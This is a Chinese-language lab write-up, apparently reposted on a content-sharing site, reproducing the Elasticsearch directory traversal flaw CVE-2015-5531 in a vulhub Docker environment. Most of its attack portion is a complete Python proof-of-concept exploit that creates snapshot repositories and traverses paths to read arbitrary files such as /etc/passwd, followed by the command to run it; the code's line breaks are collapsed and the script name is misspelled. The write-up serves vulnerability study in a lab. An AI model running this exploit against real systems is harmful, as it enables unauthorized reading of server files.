打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
ElasticSearch 目录穿越漏洞(CVE-2015-5531)

声明

好好学习,天天向上

漏洞描述

elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

影响范围

1.6.1以下

复现过程

这里使用v1.6.0版本

使用vulhub

cd /app/vulhub-master/elasticsearch/CVE-2015-5531

使用docker启动

docker-compose up -d

环境启动后,访问http://your-ip:9200

http://192.168.239.129:9200

直接上POC,cve-2015-5331.py,内容如下(不需要修改)

#!/usr/bin/env python# PoC for CVE-2015-5531 - Reported by Benjamin Smith# Affects ElasticSearch 1.6.0 and prior# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net# Jose A. Guasch || twitter: @SecByDefault || jaguasch at gmail.com# Tested on default Linux (.deb) install || requires path.repo: to be set on config fileimport urllib, urllib2, json, sys, reprint "!dSR script for CVE-2015-5531\n"if len(sys.argv) <> 3:        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]        sys.exit()host = sys.argv[1]fpath = urllib.quote(sys.argv[2], safe='')port = 9200trav = 'ev1l/../../../../../../../..' reponame = 'pwn'baseurl = "http://%s:%s/_snapshot/" % (host, port)xplurl = '%s%s/%s%s' % (baseurl, reponame, trav, fpath)def createSnapdirs():try:url = "%s/%s" % (baseurl, reponame)request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr"}}')request.get_method = lambda: 'POST'urllib2.urlopen(request)        url = "%s/%sie" % (baseurl, reponame)        request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')        request.get_method = lambda: 'POST'        urllib2.urlopen(request)except urllib2.HTTPError, e:                data = json.load(e)print "[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:\n"print str(data['error'])sys.exit()def grabFile(xplurl):try:urllib2.urlopen(xplurl)except urllib2.HTTPError, e:data = json.load(e)extrdata = re.findall(r'\d ', str(data['error']))decoder = bytearray()for i in extrdata[ 2:]:decoder.append(int(i))print decoderdef main():createSnapdirs()grabFile(xplurl)if __name__ == "__main__":    main()

执行命令(IP自己改)

python cve-2015-5331.py 192.168.239.129 /etc/passwd

关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose builddocker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down
来源:https://www.icode9.com/content-4-784601.html
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
python如何下载快手视频
利用百度、有道翻译API的在线翻译事例代码
Memcached修复多处高危漏洞可导致代码执行、拒绝服务
Graylog——日志聚合工具中的后起之秀 · TesterHome
使用DockerCompose搭建部署Kibana
ambari离线安装以及hadoop环境搭建详细过程
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服